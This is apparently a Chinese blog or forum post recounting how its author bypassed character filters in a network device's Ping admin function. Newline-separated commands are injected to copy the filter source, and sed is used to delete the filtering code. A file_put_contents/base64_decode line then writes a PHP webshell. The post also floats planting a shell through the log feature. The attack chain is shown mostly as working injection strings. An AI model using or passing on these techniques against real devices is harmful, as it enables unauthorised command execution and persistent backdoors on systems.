今天遇到一个有意思的 Linux 命令执行绕过分享一下。
某网络设备后台有个 Ping 功能,命令执行无回显,使用
dnslog 收到请求,因此 icmp、dns 出网。
但是进一步命令执行的时候发现存在很多替换为空的过滤。
第一步绕过,cp 命令读取源码。
ping.php 中存在参数过滤函数,并且使用 exec() 命令执行因此无回显。
根据include包含的文件必然能找到过滤函数所在的文件。
1
|
cd ..\ncd ..\ncd ..\ncd ..\ncd model\ncp filter.php filter.txt
|
过滤如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
$val = str_replace("<", "", $val);
$val = str_replace(">", "", $val);
$val = str_replace("/", "", $val);
$val = str_replace("+", "", $val);
$val = str_replace("'", "", $val);
$val = str_replace("\"", "", $val);
$val = str_replace(";", "", $val);
$val = str_replace("?", "", $val);
$val = str_replace("%", "", $val);
$val = str_replace(")", "", $val);
$val = str_replace("(", "", $val);
$val = str_replace(":", "", $val);
$val = str_replace("&", "", $val);
$val = str_replace("|", "", $val);
|
第二步绕过,sed 删除过滤行。
which 存在wget,尝试 wget 发现 tcp 不出网。
后来想到 sed,可以增加删除替换,但是增加和替换 php 代码都需要用到标点,于是去删除过滤函数中的过滤代码(注意事先 cp 备份)。
1
|
cd ..\ncd ..\ncd ..\ncd ..\ncd model\nsed -i 4d filter.php
|
最后,写入 webshell。
先写个一句话,phpinfo 发现是 php5.2 的,shell连接工具的加密别选 aes,或者直接上个大马。
1
|
cmd=file_put_contents('2.php', base64_decode('xxxxxxxx');
|
其他思路
当时另一个思路就是后台还有日志功能,可以考虑写入shell到日志文件,再 cp 到 web 目录,因为 sed 成功了就没去试。
想听听大家有什么其他的可行思路。
抱拳了.jpg